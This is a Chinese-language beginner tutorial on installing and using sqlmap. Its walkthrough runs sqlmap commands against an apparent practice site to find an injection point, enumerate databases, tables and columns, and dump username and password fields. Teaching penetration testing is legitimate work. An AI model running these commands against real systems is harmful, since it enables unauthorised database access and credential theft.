sqlmap-入门解析

SQLMap的安装

在windows下安装

SQLMap 官网地址:http://sqlmap.org/
SQLMap 是一款跨平台的工具,基于 Python,所以电脑里要先安装 Python 环境,需要python2.7.x或者2.6.x环境支持。
下载版本我推荐下载 2.7.15 版本
python官网:https://www.python.org/
python 2.7.15版本下载地址:https://www.python.org/downloads/release/python-2715/
在这里插入图片描述

python安装和环境搭建

python安装:https://blog.youkuaiyun.com/qq_25814003/article/details/80609729
pyhon环境搭建:https://www.runoob.com/python/python-install.html

SQLMap 在 Linux 平台安装

git clone https://github.com/sqlmapproject/sqlmap.git

运行

在windows上运行

在powershell中运行
找到解压目录,按住shift键右击鼠标,点击在此处打开powershell窗口
在这里插入图片描述
输入python2 .\sqlmap.py完美运行在这里插入图片描述

在linux上运行

直接输入sqlmap就能运行(简单的一批)
在这里插入图片描述

SQLMap 常用命令

检查注入点

python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1"
指定url:-u

在这里插入图片描述

爆出所有数据库信息

python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --dbs
读取数据库:--dbs

在这里插入图片描述

爆当前数据库信息

 python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --current-db
 连接列出当前应用程序使用的数据库:--current-db

在这里插入图片描述

指定库名列出所有表

python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --tables -D "cake"
获取数据表: --tables  ;    指定数据库:-D

在这里插入图片描述

指定库名表名列出所有字段

python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --columns -T "user" -D "cake"
列取字段名:--columns

在这里插入图片描述

指定库名表名字段dump出指定字段

python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --dump -C "username,passwd" -T "user" -D "cake"
转存数据:--dump ;指定数据字段名称:-C; 指定表名(user数据库关键字加上[]):-T ; 指定数据库名称:-D

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值